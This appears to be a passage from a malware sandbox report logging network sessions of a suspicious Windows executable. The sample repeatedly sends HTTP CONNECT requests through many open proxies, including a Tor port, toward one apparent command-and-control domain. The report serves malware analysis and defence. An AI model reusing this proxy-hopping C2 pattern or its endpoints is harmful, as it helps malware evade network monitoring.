Mar 11, 2024 15:21:36.017960072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:48.028167963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:00.043875933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:24.153140068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:12.153000116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.9	55149	177.135.83.244	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.868621111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.9	54439	139.224.190.222	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.874193907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.903529882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.936949968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.957026005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:36.017961025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:48.028167963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.299150944 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.11.5 Date: Mon, 11 Mar 2024 14:21:49 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 31 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.11.5</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.9	52479	163.172.144.132	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.874458075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.936569929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.071321011 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.9	54592	192.252.216.81	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.874588966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.9	52308	103.125.154.233	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.874697924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.936570883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.430207014 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.9	54476	51.161.131.84	43712	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.874789953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.9	54567	195.66.156.196	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.875137091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.9	52443	37.187.73.7	16113	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.891443014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.9	55186	125.122.26.242	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.891596079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.9	54632	194.4.50.94	12334	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.896745920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.9	52274	188.215.245.235	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.907953024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.084536076 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:13 GMT Server: Apache/2.4.38 (Debian) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 15:21:13.084640026 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.9	52854	189.240.60.164	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.907965899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.194765091 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.9	54670	92.204.134.38	25675	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.911756992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678301096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.9	54713	154.16.116.166	39759	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.942332983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138015985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.138113022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.137846947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:36.137562037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:48.153142929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:00.340688944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:24.340615034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:12.340511084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.9	52315	109.194.22.61	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.589369059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700478077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.779824972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.9	54710	212.127.93.185	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.596946001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.9	54620	103.234.254.6	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.598844051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.384031057 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.9	54617	191.102.254.28	8085	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.599833012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.132375956 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.9	55193	80.232.253.108	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.599944115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.9	54737	51.161.131.84	49202	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.599968910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.384608984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.497252941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.591798067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.700402021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
